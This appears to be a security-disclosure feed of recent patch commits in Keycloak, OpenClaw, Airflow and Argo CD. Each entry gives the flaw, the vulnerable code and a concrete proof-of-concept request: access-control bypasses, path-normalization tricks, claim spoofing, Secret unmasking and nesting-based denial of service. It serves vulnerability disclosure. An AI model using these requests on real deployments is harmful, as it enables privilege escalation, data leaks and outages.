“Exposing patches before CVEs since 2025”
Tuesday, August 11, 2026
Aug 11, 2026, 09:20 PM — keycloak/keycloak
Commit: 89294ddb2987366f4510c06a4bdbb5aace766aab
Author: Stefan Guilhen
The SCIM user extension attribute writer did not check whether an attribute was read-only (i.e., not permitted for editing) according to the User Profile configuration before writing its value to the user model. This allowed SCIM PATCH/PUT requests to modify custom user-profile attributes that were configured as view-only (no edit permission), bypassing the access-control restrictions enforced elsewhere (e.g., via the Admin REST API or UserProfile-based update logic).
if (getAttributeMapperByModelAttribute(name) == null) {
return;
}
if (value == null) {
model.removeAttribute(name);
} else {
model.setSingleAttribute(name, ...);
}
Configure a User Profile attribute (e.g., 'scim.protectedAttribute') with permissions view={admin}, edit={} (no edit roles) and map it to a SCIM extension path like 'urn:keycloak:params:scim:schemas:extension:realm:1.0:User:protectedAttribute'. Then issue a SCIM PATCH request:
PATCH /scim/v2/Users/{id}
{
"Operations": [{"op": "replace", "path": "urn:keycloak:params:scim:schemas:extension:realm:1.0:User:protectedAttribute", "value": "attacker-value"}]
}
Before the patch, this SCIM call would succeed in writing 'attacker-value' to the user's protectedAttribute even though the User Profile configuration disallows editing it, effectively bypassing the access-control policy enforced for standard admin/user updates.
Aug 11, 2026, 09:20 PM — keycloak/keycloak
Commit: 927daf7a0a1467617b65eb021743abf45ce5437d
Author: Stefan Guilhen
The SCIM UserResourceTypeProvider echoed the client-supplied request payload back as the response after create/update, rather than reflecting the actual persisted model state. Because the user-profile permission system can silently reject writes to protected attributes (e.g., admin-managed attributes) without failing the request, the SCIM response would still show the attacker-supplied value as if it were saved, even though the underlying UserModel retained the original (admin-set) value. This allows an attacker with SCIM write access to attributes that they don't have edit permission for to observe/believe their write succeeded (misleading response), and more importantly, any client trusting the SCIM response for authorization or display could be misled about which value is actually in effect, creating confusion and potential for further attacks relying on the mismatch (e.g., cached incorrect state, downstream logic decisions based on the wrong value).
resource.setCreatedTimestamp(model.getCreatedTimestamp()); resource.setLastModifiedTimestamp(model.getLastModifiedTimestamp()); return resource; // echoes request payload, not actual persisted state
1. Configure a user-profile attribute (e.g., 'protectedAttribute') as admin-only editable.
2. As a SCIM client without edit permission on that attribute, PUT/PATCH a user object setting extensions.protectedAttribute = 'scim-update'.
3. The user-profile validation silently drops the write to protectedAttribute (since the caller lacks permission), so the persisted UserModel keeps its old value (e.g., 'admin-set-value').
4. Before the patch, the SCIM response still contains protectedAttribute = 'scim-update' (the value from the request), misleading the client into believing the unauthorized write succeeded, even though GET /Users/{id} or the admin console shows 'admin-set-value'. This response/state mismatch can be leveraged to trick downstream systems consuming the SCIM response into acting on data that was never actually persisted.
Aug 11, 2026, 06:30 PM — keycloak/keycloak
Commit: 5b4d2b0e1211fb3962a635c855919bf22eb13eb2
Author: Stefan Guilhen
The SCIM filter predicate evaluator allowed filtering Users by 'groups.value' and Groups by 'members.value' without checking whether the caller has FGAP (Fine-Grained Admin Permissions) view authorization on the referenced group/user. This let an admin with restricted group/user visibility use SCIM filter queries (eq, co, sw, pr, ne, etc.) to infer membership in groups or users they are not authorized to view, bypassing the FGAP access model and leaking relationship data as an oracle. The patch adds an authorization callback that verifies VIEW permission on the target group/user before allowing the predicate, and blocks unsafe operators (only 'eq' with a verified target is allowed) as well as NOT-wrapping of authorized predicates to prevent inversion into a membership-leaking oracle.
ScimJPAPredicateEvaluator evaluator = new ScimJPAPredicateEvaluator(this, getSchemas(), cb, root); predicates.add(evaluator.visit(filterContext).predicate()); // no check that caller has FGAP VIEW permission on groups.value / members.value target
As an admin restricted by FGAP to only view certain groups, issue a SCIM query such as: GET /scim/v2/Users?filter=groups.value eq "<restricted-group-id>" or GET /scim/v2/Groups?filter=members.value eq "<restricted-user-id>" Before the patch, the server would return matching users/groups (or an empty vs non-empty result revealing membership) even though the admin lacks VIEW permission on that group/user under FGAP, allowing enumeration of hidden group memberships by iterating filter values and observing result differences.
Aug 11, 2026, 06:00 PM — keycloak/keycloak
Commit: 2c702775b98feae86f3599244cf3bac40e985238
Author: Sven-Torben Janus
The SCIM Users API's `groups` attribute exposed organization groups and the organization's internal backing group to callers holding only `view-users`/`manage-users` permissions, bypassing the intended boundary that restricts organization-related groups to the Organization API. This leaked organization membership and group metadata that should not be accessible via SCIM, violating the isolation enforced elsewhere (e.g. the SCIM Groups resource and the SCIM user write path).
if (permissions.hasPermission(model, AdminPermissionsSchema.USERS_RESOURCE_TYPE, AdminPermissionsSchema.VIEW)) {
return model.getGroupsStream()
.filter(this::canViewGroup)
.toList();
}
1. Enable organizations on a realm and create an organization with a group (org internal group + an org top-level group).
2. Add a user as a member of the organization (making them a member of the org's internal group) and also add them to the org's top-level group.
3. As a caller with only `view-users`/`manage-users` permission (not organization admin), call GET /scim/v2/Users/{id}?attributes=groups.
4. Before the patch, the response's `groups` attribute includes the organization's internal group and/or the organization group entries, disclosing organization membership/group data that should only be retrievable via the Organization API.
Aug 11, 2026, 05:38 PM — openclaw/openclaw
Commit: 90dbede0565080a270941fbb63275b1ece4cbb07
Author: wanyongstar
Both the chrome-mcp accessibility snapshot builder and the CDP renderRoleTree function recursively walked the accessibility tree without an enforced depth limit. A malicious or pathologically-nested web page (e.g., tens of thousands of nested DOM elements) could cause the recursive traversal to overflow the call stack (RangeError: Maximum call stack size exceeded), crashing the browser automation/gateway process, or generate quadratically growing indentation output (hundreds of MB) before any truncation logic runs, exhausting memory.
function shouldIncludeRoleNode(node: RoleTreeNode, options: CdpRoleSnapshotOptions): boolean {
const role = node.role.toLowerCase();
if (options.maxDepth !== undefined && node.depth > options.maxDepth) {
return false;
}
// ... recursive traversal with no default/hard cap when maxDepth is undefined
Serve a webpage whose DOM contains ~20,000+ deeply nested elements (e.g., <div><div><div>...</div></div></div> repeated 20000 times) and have the browser agent navigate to it and request an ARIA/accessibility snapshot without specifying maxDepth (the default code path). The recursive tree-walking function in cdp.ts (renderRoleTree) or chrome-mcp.snapshot.ts will recurse once per nesting level, eventually throwing 'RangeError: Maximum call stack size exceeded' and crashing the gateway process, or — below the crash threshold — produce an indentation string of size O(depth^2) (e.g., ~400MB for a 20k-deep tree), causing memory exhaustion/DoS before truncation logic can trim the output.
Aug 11, 2026, 03:43 PM — keycloak/keycloak
Commit: f24a1a52376cc645d2553abb1086cad3330d26f8
Author: Thomas Darimont
Before the patch, the SSF emit endpoint persisted the verbatim caller-supplied event payload (request.getEvent()) into the admin audit event log without sanitization, allowing arbitrary free-form fields and PII (e.g. email addresses, custom sensitive attributes, reason_admin/reason_user localized messages) supplied by a management client to be stored in the admin event store. This could expose PII or sensitive data to anyone with access to admin audit logs, and allowed injection of arbitrary attacker-controlled data into audit records. The patch replaces this with a typed SsfEvent.createAdminDetails() hook that only whitelists specific safe fields (credential_type, change_type, status, reason, etc.), ensuring free-form/PII fields never reach the audit log.
if (request.getEvent() != null) {
auditRep.put("eventData", request.getEvent());
}
POST /admin/realms/{realm}/ssf/events/emit with body:
{
"eventType": "CaepCredentialChange",
"subjectType": "email",
"subjectValue": "[email protected]",
"event": {
"credential_type": "password",
"change_type": "update",
"sensitive_subject_email": "[email protected]",
"reason_admin": {"en": "[email protected] leaked SSN 123-45-6789"},
"reason_user": {"en": "[email protected]"}
}
}
Before the patch, the entire event object—including sensitive_subject_email and reason_admin/reason_user PII—would be stored verbatim in the AdminEventRepresentation.representation field, visible to any admin with audit log access, even though these fields should not be persisted.
Aug 11, 2026, 11:48 AM — apache/airflow
Commit: d1e5f1a61340581c0a5b3bc0bf7af57cbb95ec58
Author: Jonathan Brown
The Calendar view endpoint computes planned runs for cron-based timetables by iterating croniter until the year boundary with no upper bound, unlike the generic timetable path which caps at MAX_PLANNED_RUNS. Any authenticated user with Dag read access can create/view a Dag with a high-frequency cron schedule (e.g., a seconds-resolution cron) and trigger minutes of CPU consumption per request just by opening the Calendar tab, allowing them to pin/exhaust an API server worker with minimal effort.
for dt in dates_iter:
if dt is None or dt.year != year:
break
if dag.end_date and dt > dag.end_date:
1. Create/have access to a Dag scheduled with a seconds-resolution cron expression like "* * * * * *" and no end_date, with start_date early in the year.
2. As any user with Dag read access, call GET /ui/calendar/{dag_id} (or open the Calendar tab in the UI) near the start of the year.
3. The server-side computation iterates croniter ~31.5 million times synchronously in the request handler, consuming ~5.5 minutes of CPU per request. Repeating this request multiple times (or with multiple such Dags) can pin/exhaust API server worker capacity, denying service to other users.
Aug 11, 2026, 06:47 AM — keycloak/keycloak
Commit: 60c4d5e9321ff5462a772ceb896f8cb2e639e04b
Author: Pedro Igor
When creating a new user via the admin REST API, group memberships specified in the UserRepresentation were assigned without checking whether the admin had 'manage-membership' permission on the target groups. This allowed an admin with only user-creation privileges (but not group membership management) to add newly created users to arbitrary groups, including groups with elevated privileges, bypassing fine-grained admin permission (FGAP) checks.
public static void createGroups(KeycloakSession session, UserRepresentation userRep, RealmModel newRealm, UserModel user) {
if (userRep.getGroups() != null) {
for (String path : userRep.getGroups()) {
GroupModel group = KeycloakModelUtils.findGroupByPath(session, newRealm, path);
user.joinGroup(group);
}
}
}
As an admin who only has the 'manage' scope on the Users resource type (no 'manage-membership' on any group), send:
POST /admin/realms/{realm}/users
{
"username": "newuser",
"groups": ["/privileged-group"]
}
Before the patch, the user is created and joined to '/privileged-group' even though the admin lacks MANAGE_MEMBERSHIP permission on that group, effectively escalating the new user's privileges. After the patch, this request returns 403 Forbidden unless the admin has MANAGE_MEMBERSHIP on '/privileged-group'.
Aug 11, 2026, 06:17 AM — keycloak/keycloak
Commit: 2a890e22cbfe01b34fa2600aa090cb52fe11c83e
Author: Pedro Igor
Before the patch, a client could supply a claim_token with claims using the reserved 'kc.' prefix (e.g., kc.client.id, kc.realm.name, kc.time.date_time), which would override or spoof server-controlled evaluation context attributes used by authorization policies. Additionally, when both a UMA permission ticket and a claim_token contained claims with the same key, the claim_token value silently overrode the ticket value, allowing a requesting party to override claims that a resource server intentionally set when creating the permission ticket, potentially bypassing intended policy restrictions.
claims = JsonSerialization.readValue(Base64Url.decode(request.getClaimToken()), Map.class);
request.setClaims(claims);
...
attributes.put("kc.client.id", ...) // set after claims, but claim_token could still inject kc.* keys via ticket/claim merge without filtering
POST /realms/{realm}/protocol/openid-connect/token with grant_type=urn:ietf:params:oauth:grant-type:uma-ticket and claim_token=BASE64({"kc.client.id":["admin-client"],"kc.realm.name":["trusted-realm"]}) — before the patch these attacker-supplied 'kc.' claims would be merged into the evaluation context alongside (or overriding, depending on ordering/ticket claims) the genuine server-set values, allowing policies that check kc.client.id or kc.realm.name to be deceived and grant access they shouldn't. After the patch, all claims starting with 'kc.' are stripped from claim_token/ticket-derived claims before evaluation, and ticket claims take precedence over claim_token on key collision.
Aug 10, 2026, 05:52 PM — keycloak/keycloak
Patch landed 5 days 2 hours 20 minutes after CVE published
Commit: c933d20b973d21f56d3dabf6ecec37f1cd9d743a
Author: Stefan Guilhen
The searchLDAPByAttributes method used the LDAP_ENTRY_DN attribute value provided as a search parameter directly as the search base DN without validating that it lies within the configured usersDn subtree. This allowed an attacker (e.g. via the Admin REST API searchByAttributes endpoint) to query arbitrary LDAP entries outside the configured user search base, potentially exposing service accounts or other directory objects not meant to be treated as Keycloak users. The patch validates that the provided DN is a descendant of the configured usersDn before using it as the search base, returning an empty stream otherwise.
} else if (LDAPConstants.LDAP_ENTRY_DN.equals(attrName)) {
ldapQuery.setSearchDn(entry.getValue());
ldapQuery.setSearchScope(SearchControls.OBJECT_SCOPE);
}
Send an Admin REST API request: GET /admin/realms/{realm}/users?q=LDAP_ENTRY_DN:cn=outsideuser,ou=ServiceAccounts,dc=example,dc=org where the DN points to an LDAP entry outside the configured usersDn (e.g., ou=Users,dc=example,dc=org). Before the patch, Keycloak would perform an LDAP OBJECT_SCOPE search directly on that arbitrary DN and return the entry as a user object, exposing directory entries outside the intended user search scope.
Aug 10, 2026, 05:30 PM — argoproj/argo-cd
Commit: a37f1f1ad303dae728381260dfe35edeb7d55ab3
Author: Peter Jiang
The ServerSideDiff API decided whether to mask Secret data based on the caller-supplied liveResources\[i\].Kind/Group metadata rather than the actual kind of the target/live manifest being diffed. An attacker with get access to an Application could submit a liveResources entry with a spoofed non-Secret Kind (e.g., ConfigMap) paired with a real Secret target manifest at the same index, causing the server to skip masking and return the Secret's plaintext data (e.g., passwords, tokens) in the diff response.
if kind == kube.SecretKind && group == "" {
// mask logic based on caller-supplied kind/group
}
POST to ServerSideDiff with:
LiveResources: [{Group: "", Kind: "ConfigMap", Namespace: "default", Name: "decoy-config", LiveState: <decoy ConfigMap JSON>}]
TargetManifests: ["{\"apiVersion\":\"v1\",\"kind\":\"Secret\",\"metadata\":{\"name\":\"real-secret\",\"namespace\":\"default\"},\"type\":\"Opaque\",\"data\":{\"password\":\"czNjcjN0LWxlYWtlZA==\"}}"]
Because liveResources[0].Kind is spoofed as ConfigMap (not Secret), the server skips the Secret-masking branch even though the dry-run target is a real Secret, causing the response TargetState to contain the raw base64 secret value 'czNjcjN0LWxlYWtlZA==' instead of '++masked++'.
Aug 10, 2026, 04:03 PM — keycloak/keycloak
Patch landed 5 days 31 minutes after CVE published
Commit: 725d8aec32cb595f31b9cce349b331b3c971285b
Author: Stefan Guilhen
PathMatcher.matches() performed direct string comparisons against the raw target URI without normalizing matrix parameters, double slashes, dot segments, percent-encoding, or trailing slashes. An attacker could mutate a protected path (e.g. /api/admin) using techniques like matrix params, encoded characters, or path traversal so that it no longer exactly matched the restricted resource pattern but still routed to the same backend resource on the server, causing the request to instead match a permissive catch-all policy (e.g. /*) and bypass intended authorization/deny policies.
if (exactMatch(expectedUri, targetUri)) {
matchingUri = expectedUri;
}
...
if (targetUri.endsWith(protectedSuffix)) {
matchingAnySuffixPath = entry;
}
Given a UMA/Policy Enforcer configuration with a restricted resource pattern '/api/admin' (deny policy) and a catch-all '/*' resource (grant policy), an attacker requests one of the following mutated paths which the underlying server still routes to /api/admin but which fail the PathMatcher's exact string match, causing it to fall through to the permissive '/*' policy: GET /api/admin;jsessionid=abc123, GET /api//admin, GET /api/admin/, GET /api/%61dmin, or GET /api/foo/../admin. Because these do not exactly equal '/api/admin' as raw strings, the restrictive deny policy is skipped and the request is authorized under the catch-all grant policy, bypassing access control.
Aug 10, 2026, 11:59 AM — keycloak/keycloak
Commit: 1c2a84e20593a2beec385c36f730303c98500f4d
Author: Stefan Guilhen
The SCIM user schema mapping used `Attributes.nameSet()` to enumerate all user profile attributes for reads and filtering, rather than `getReadable()`, which respects per-attribute view permissions configured in the user profile. This allowed admin-only attributes (e.g., attributes restricted to admin role via UPAttributePermissions) to be exposed and searchable through the SCIM API by users who should not have view access, bypassing the user-profile permission model.
Set<String> names = new HashSet<>(attributes.nameSet());
...
for (String name : profile.getAttributes().nameSet()) {
...
for (String modelName : attributes.nameSet()) {
Configure a user-profile attribute (e.g., 'department') with view permissions restricted to ROLE_ADMIN only. Then, as a non-admin SCIM client with only VIEW_USERS/QUERY_USERS scope, issue: GET /scim/v2/Users/{id}?attributes=urn:keycloak:params:scim:schemas:extension:realm:1.0:User:department or a filter query GET /scim/v2/Users?filter=urn:keycloak:params:scim:schemas:extension:realm:1.0:User:department eq "secret-value" — before the patch, the admin-restricted attribute value is returned/matched despite the requester lacking view permission on that profile attribute.
Aug 10, 2026, 11:49 AM — keycloak/keycloak
Patch landed 4 days 17 hours 17 minutes after CVE published
Commit: 4e18ea7c45f518f73fcc72f9ba2bbc1e05a5e3dd
Author: Stefan Guilhen
The IdentityBrokerService failed to enforce the linkOnly restriction on the IdP-initiated SSO path, allowing an identity provider configured to only be used for account linking (not standalone login) to still authenticate users directly via SAML IdP-initiated SSO. This bypasses an administrator-configured security restriction meant to prevent an IdP from being used as a primary authentication mechanism, potentially allowing unauthorized login through a broker that was explicitly restricted to link-only usage.
if (federatedUser == null) {
logger.debugf("Federated user not found for provider '%s' and broker username '%s'", providerAlias, context.getUsername());
// proceeds to create/login without checking identityProviderConfig.isLinkOnly()
}
1. Admin configures a SAML IdP 'saml-leaf' with linkOnly=true so it can only be used to link accounts, not log in directly. 2. A user with an active SSO session on the provider realm navigates directly to the IdP-initiated SSO endpoint: GET /auth/realms/<provider-realm>/protocol/saml/clients/samlbroker 3. The provider IdP posts a signed SAML Response directly to POST /auth/realms/<consumer-realm>/broker/saml-leaf/endpoint/clients/<client_id>, bypassing the normal kc_idp_hint login flow where linkOnly is checked. 4. Before the patch, this request succeeds and logs the user in via the broker despite linkOnly=true, effectively bypassing the link-only restriction. After the patch, the request is rejected with 'Could not send authentication request to identity provider.'
Aug 10, 2026, 11:30 AM — keycloak/keycloak
Commit: 940f1e6b45b95407e962fb50f1afad6f24e0a922
Author: Ponshankar
The SearchQueryUtils.getFields() method accessed chars\[i+1\] without checking bounds when encountering a backslash escape character, causing an ArrayIndexOutOfBoundsException if the backslash was the last character in the query. Since this method parses user-supplied search query strings (e.g., admin console user search), a malformed query with a trailing backslash could trigger an unhandled exception, potentially causing a 500 error or disrupting request processing.
while (i < chars.length && chars[i] != ':') {
if (chars[i] == '\\') {
if (chars[i+1] == '\"') {
i++;
}
Send a search request with query string ending in an unterminated escape sequence, e.g. GET /admin/realms/{realm}/users?search=key\\ or search=key:val\\ — this causes chars[i+1] to be accessed when i is the last index in the array, throwing ArrayIndexOutOfBoundsException instead of a graceful validation error.
Aug 10, 2026, 09:45 AM — openclaw/openclaw
Commit: 1ff50d7e7d9db463682db10042d42177ef9d0488
Author: Pavan Kumar Gondhi
The Matrix plugin's 'permissions' action (used for verification-management operations like verification-bootstrap, which can reset cross-signing keys and set recovery keys) was gated only by an 'encryption' and 'verification' config flag, without checking whether the sender was actually the bot owner. Any Matrix user able to send messages/commands to the bot could invoke sensitive verification actions such as forcing a cross-signing reset or listing verification state, potentially compromising encryption trust or account security. The patch adds an explicit senderIsOwner check both when advertising the action in tool discovery and when dispatching it, throwing a ToolAuthorizationError for non-owners.
if (params.encryptionEnabled && params.gate("verification")) {
actions.add("permissions");
}
...
if (action === "permissions") {
const operation = normalizeLowercaseStringOrEmpty(...)
A non-owner Matrix user sends a message triggering the bot's action handler with:
{ action: "permissions", accountId: "ops", params: { operation: "verification-bootstrap", forceResetCrossSigning: true, recoveryKey: "attacker-key" } }
Prior to the patch, since senderIsOwner was not checked, this call would proceed to handleMatrixAction and reset cross-signing / set a recovery key even though the sender was not the bot owner, potentially hijacking encryption verification state. After the patch, the same call throws 'Matrix verification actions require owner access.' and is never dispatched.
Aug 10, 2026, 05:40 AM — openclaw/openclaw
Commit: eb9cac065fb52b73800accb5a664a25dc96e65e7
Author: Peter Steinberger
The memory-host SDK maintained its own stale SECRET_PATTERNS table for redacting sensitive data in error messages, which lacked coverage for payment card numbers, CVV codes, and other payment credentials that the canonical redactor (src/logging/redact.ts) covers. Additionally, ACP's error redaction depended on module load order via a fragile injection hook, and when operator-configured redactPatterns were non-empty they fully replaced (rather than extended) built-in provider-token patterns, causing default secret patterns to go unredacted. This meant sensitive data such as credit card numbers or provider tokens could leak unredacted into error logs/output at these security boundaries.
// packages/memory-host-sdk/src/host/error-utils.ts const SECRET_PATTERNS = [ /* stale subset, no PAYMENT_CREDENTIAL_* card/CVV patterns */ ]; // operator redactPatterns replace defaults entirely instead of extending them
Trigger a memory-host error whose message embeds a card number, e.g. throw new Error('Payment failed for card 4111111111111111 CVV 123'); before the patch, error-utils.ts's local SECRET_PATTERNS table has no card/CVV pattern, so the raw card number and CVV are written unredacted to logs/error output. Separately, configure logging.redactPatterns with a single custom pattern in an ACP-integrated deployment — pre-patch, this replaces the built-in provider-token regexes entirely, so an API key like sk-ABCDEF123456 embedded in an error is no longer redacted even though redaction is 'enabled'.
Aug 10, 2026, 05:09 AM — openclaw/openclaw
Commit: d85f5c117677a152e9cf55c2963bfef42f814bbd
Author: Pavan Kumar Gondhi
The MS Teams group message admission logic only fell back to the allowlist re-check when the sender access denial reason was exactly 'group_policy_not_allowlisted'. If the sender access group was missing or referenced an unsupported/unrecognized group type (e.g., a Discord-typed access group), the denial reason code would differ, causing the code to skip the deny path entirely and treat the message as admitted, allowing unauthorized senders' messages to be processed and persisted. The fix makes any '!senderAccess.allowed' result authoritative, ensuring fail-closed behavior regardless of the specific reason code.
if (!senderAccess.allowed && senderAccess.reasonCode === "group_policy_not_allowlisted") {
const allowMatch = resolveMSTeamsAllowlistMatch({
allowFrom: effectiveGroupAllowFrom,
senderId,
Configure msteams channel with groupPolicy: 'allowlist' and groupAllowFrom: ['accessGroup:operators'], but define 'operators' as an unsupported access group type (e.g., a discord.channelAudience config) or omit it entirely. An attacker sends a group message from an account not in any allowlist. Because senderAccess.reasonCode will not equal 'group_policy_not_allowlisted' (it will be something like 'access_group_missing' or 'access_group_unsupported'), the code skips the denial branch, and the attacker's message is admitted and processed by the agent instead of being dropped, bypassing the intended sender allowlist.
Aug 9, 2026, 04:26 PM — openclaw/openclaw
Commit: df725434f361c4b8e9115014113c490219fdade2
Author: Peter Steinberger
The chat display projection only sanitized audio blocks with `entry.source.type === 'base64'` and string `source.data`, failing to strip top-level `data` fields, non-string `source.data`, or filesystem/local path references (e.g. `file://`, `~/`, `C:\\`, UNC paths) embedded in audio block fields like `path`, `file`, `url`, `openUrl`. Authenticated WebSocket and HTTP/SSE history clients could therefore retrieve raw audio bytes or host-local filesystem paths that were persisted in transcript blocks, leaking sensitive local file locations or raw audio payloads that should have been redacted at the shared history boundary.
if (type === "audio" && entry.source && typeof entry.source === "object") {
const source = { ...(entry.source as Record<string, unknown>) };
if (source.type === "base64" && typeof source.data === "string") {
...
}
}
Persist a transcript message with a top-level audio data field or local path reference, e.g.:
{ role: "user", content: [ { type: "audio", mimeType: "audio/wav", data: "<base64 audio bytes>" }, { type: "audio", path: "/tmp/secret-recording.wav", url: "file:///Users/victim/private-audio.wav" } ] }
Before the patch, requesting chat.history over WebSocket or the HTTP/SSE history endpoint returns these blocks unmodified, exposing the raw base64 audio bytes and the host-local file path/URL to any authenticated client with history access.
Aug 8, 2026, 11:19 PM — openclaw/openclaw
Commit: 3f1f30d939940e3ae6d0bea0c224790fc996e547
Author: Masato Hoshino
The debug proxy capture cloned every response body and read it with no bound on inter-chunk wait time. A malicious or stalled remote server could send response headers plus a single chunk and then go silent indefinitely, leaving the clone() tee branch open forever; since a tee branch only settles when both branches cancel or reach EOF, this caused the caller's own cancellation and the subsequent transport release to hang, tying up connection/transport resources. The patch bounds the read with an idle timeout, cancelling the stalled branch and recording the exchange as 'stalled' metadata instead of blocking indefinitely.
const reader = body.getReader();
...
while (true) {
const { done, value } = await reader.read();
if (done) { break; }
...
}
A remote server (or MITM'd upstream) responds with valid headers and one small body chunk (e.g. Content-Type: application/json, body 'partial') over a streamed/chunked response, then never sends more data and never closes the connection. With the debug proxy capture enabled, this causes the capture's clone-body reader to await reader.read() forever, which keeps the response clone() tee branch open, which in turn prevents the caller's cancellation and the guarded transport release from ever completing — effectively hanging the connection/transport indefinitely per stalled request, allowing an attacker-controlled or unreliable backend to exhaust transport/connection resources over many requests.
Aug 8, 2026, 07:52 PM — openclaw/openclaw
Commit: 9c3e4ce43143859357d6f2905d87b6abe28454c3
Author: wanyongstar
normalizeActRequest recursively processed nested 'batch' actions without any depth limit, allowing a specially crafted POST /act request body (up to the 1MB limit) with tens of thousands of nested batch wrappers to cause unbounded recursion and crash the process with a RangeError (stack overflow) before validation checks could run. The patch introduces a depth parameter bound by ACT_MAX_BATCH_DEPTH, rejecting deeply nested payloads early with a clear error instead of overflowing the call stack.
function normalizeBatchAction(value: unknown): BrowserActRequest {
if (!value || typeof value !== "object" || Array.isArray(value)) {
throw new Error("batch actions must be objects");
}
return normalizeActRequest(value as Record<string, unknown>, { source: "batch" });
}
POST /act with a JSON body constructed by nesting {"kind":"batch","actions":[...]} 30,000 levels deep around a leaf {"kind":"click","ref":"1"} action (total size under the 1MB body limit). Before the patch, normalizeActRequest recurses into each nested batch level, exceeding the JS call stack and throwing 'RangeError: Maximum call stack size exceeded', crashing/denying the request handling instead of returning a clean 400 validation error, potentially destabilizing the server process.
Aug 8, 2026, 07:24 PM — openclaw/openclaw
Commit: fe908cf309a8acf68ab1d73caded8c649c3abded
Author: wanyongstar
The decodeMatrixEnvAccountToken function used Number.isFinite to validate hex-decoded code points before passing them to String.fromCodePoint, but Number.isFinite does not bound values to the valid Unicode range (0x0-0x10FFFF). A crafted environment variable name with a hex escape exceeding 0x10FFFF causes String.fromCodePoint to throw an uncaught RangeError, crashing listMatrixEnvAccountIds and preventing discovery of all Matrix accounts during startup/doctor checks. The patch adds an explicit upper-bound check (codePoint > 0x10ffff) to reject such tokens gracefully.
const codePoint = hex ? Number.parseInt(hex, 16) : Number.NaN;
if (!Number.isFinite(codePoint)) {
return undefined;
}
const char = String.fromCodePoint(codePoint);
Set an environment variable named `MATRIX_A_X110000_B_HOMESERVER=https://matrix.example.org` (or with `_XFFFFFFFF_`) and call listMatrixEnvAccountIds(process.env). The hex value 0x110000 exceeds the max Unicode code point 0x10FFFF, so String.fromCodePoint(0x110000) throws `RangeError: Invalid code point 1114112`, causing the function to throw uncaught and crashing discovery of every Matrix account configured via environment variables at startup or during doctor checks.
Aug 8, 2026, 03:51 AM — openclaw/openclaw
Commit: 0eeb9db21620ca63da1df7023eb9fe3d2615118b
Author: zengLingbiao
The voice-call provider clients (Twilio/Telnyx/Plivo) built error messages by directly embedding the raw provider HTTP error response body, which can echo back credential-bearing request details such as the Authorization header value, API keys, or account tokens. These unredacted error messages were thrown and could propagate into application logs or user-facing diagnostics, exposing secrets to anyone with access to logs or error output. The patch adds `redactSensitiveText` to strip credential-like content from the error snippet before it is used in thrown errors.
export async function readProviderErrorResponseSnippet(response: Response): Promise<string> {
const prefix = await readResponseTextPrefix(response, PROVIDER_ERROR_RESPONSE_MAX_BYTES);
return prefix.truncated ? appendTruncatedSuffix(prefix.text) : prefix.text;
}
A malicious or misconfigured provider endpoint returns a 401 response body such as:
{"message":"Authentication failed","detail":"Authorization: Basic QUMxMjM6c3VwZXItc2VjcmV0LWF1dGgtdG9rZW4 rejected; retry with api_key=sk-live-1234567890abcdef"}
Before the patch, guardedJsonApiRequest throws `new Error('provider error: 401 ' + errorText)`, embedding the raw Basic auth token and api_key directly in the thrown Error message, which then flows into application logs / user-facing error diagnostics — leaking the caller's credential material. After the patch, `redactSensitiveText` replaces the secret substrings with '***' before the error is constructed.
Aug 7, 2026, 02:43 PM — keycloak/keycloak
Commit: 4fcf214c588a988f3a9cf2536ae69621e56b58e2
Author: Marie Daly
The Dynamic Client Registration update endpoint allowed a client authenticated only with a Registration Access Token (RAT) - a token scoped to managing that single client's own registration - to change the client's protocol field (e.g., from openid-connect to saml). This let an attacker in possession of an OIDC client's RAT silently convert it into a SAML client, bypassing protocol-specific validations and policies enforced on client type, effectively an unintended privilege/scope escalation. The patch adds a check that rejects any update request containing a different protocol value when the caller authenticated via RAT.
ClientResource.updateClientServiceAccount(session, client, rep.isServiceAccountsEnabled()); RepresentationToModel.updateClient(rep, client, session); RepresentationToModel.updateClientProtocolMappers(rep, client);
1. Register an OIDC client via DCR (POST /clients-registrations/openid-connect) to obtain a registration_access_token bound to that client.
2. Using only that RAT (not an admin token), send: PUT /clients-registrations/openid-connect/{clientId} with body {"clientId": "<same>", "protocol": "saml", ...} and Authorization: Bearer <registration_access_token>.
3. Before the patch, the server accepts the update and converts the client's protocol to 'saml', bypassing intended admin-only control over protocol type. After the patch, the server returns 400 invalid_client_metadata 'Protocol cannot be changed via registration access token'.
Aug 7, 2026, 12:38 PM — keycloak/keycloak
Patch landed 1 day 18 hours 6 minutes after CVE published
Commit: bdeb57f739041af094d1ead342edf26f775272de
Author: Peter Skopek
The ProtocolMappersClientRegistrationPolicy only validated new protocol mappers against the allowed provider list, but for existing mappers (identified by ID) it skipped the type check entirely, only comparing configuration. This allowed a client (via Dynamic Client Registration, DCR) to swap an existing allowed mapper's type to a disallowed/dangerous mapper type (e.g., a hardcoded role mapper) while keeping the same mapper ID, bypassing the client registration policy restrictions and potentially escalating privileges via hardcoded roles or claims.
if (allowedMapperProviders.contains(mapperType)) { continue; }
if (clientModel == null) { failWithProtocolMapperTypeNotAllowedError(...); return; }
// existing mapper lookup by ID, then only config compared, no type check
Map<String, String> modelConfig = mapperModel.getConfig();
1. Register a client via DCR with an allowed mapper type (e.g., UserAttributeMapper) named 'swap-mapper'. 2. Obtain the registration access token and fetch the client representation via clientResource.toRepresentation(). 3. In the update payload, change the same mapper's 'protocolMapper' field to a disallowed type such as HardcodedRole.PROVIDER_ID (e.g., granting realm-management.manage-users), while keeping the same mapper ID. 4. Submit the update via DCR PUT request. Before the patch, this succeeds because only config equality is checked for existing mappers, letting an attacker silently swap in a malicious hardcoded-role mapper to escalate privileges. After the patch, the update is rejected with 403 'ProtocolMapper type not allowed'.
Aug 10, 2026, 04:07 PM — openclaw/openclaw
Commit: 4c951398ef48b693f40094095e5dfe6eaad23839
Author: Ayaan Zaidi
Before this patch, chat surfaces (tool progress notifications, no-reply failures, ACP/Codex summaries, and automation notifications) could expose raw commands, working directories, file paths, and internal provider error messages by default. This information could leak sensitive internal system details (server paths, command arguments potentially containing secrets, backend configuration) to any chat user, including unauthorized or external users interacting with the bot. The patch introduces a command-sensitivity classification recorded at tool producers and enforces a status-only default for command progress, requiring explicit '/verbose full' or 'commandText: raw' opt-in to reveal diagnostic detail, and replaces raw provider errors in automation notices with persisted normalized failure reasons.
// Tool progress / notification rendering previously included raw command text, paths, and provider error strings directly in chat-facing messages by default, e.g.:
sendChatMessage(`Running command: ${rawCommand} in ${cwd}`)
sendAutomationAlert(`Failed: ${providerError.message}`)
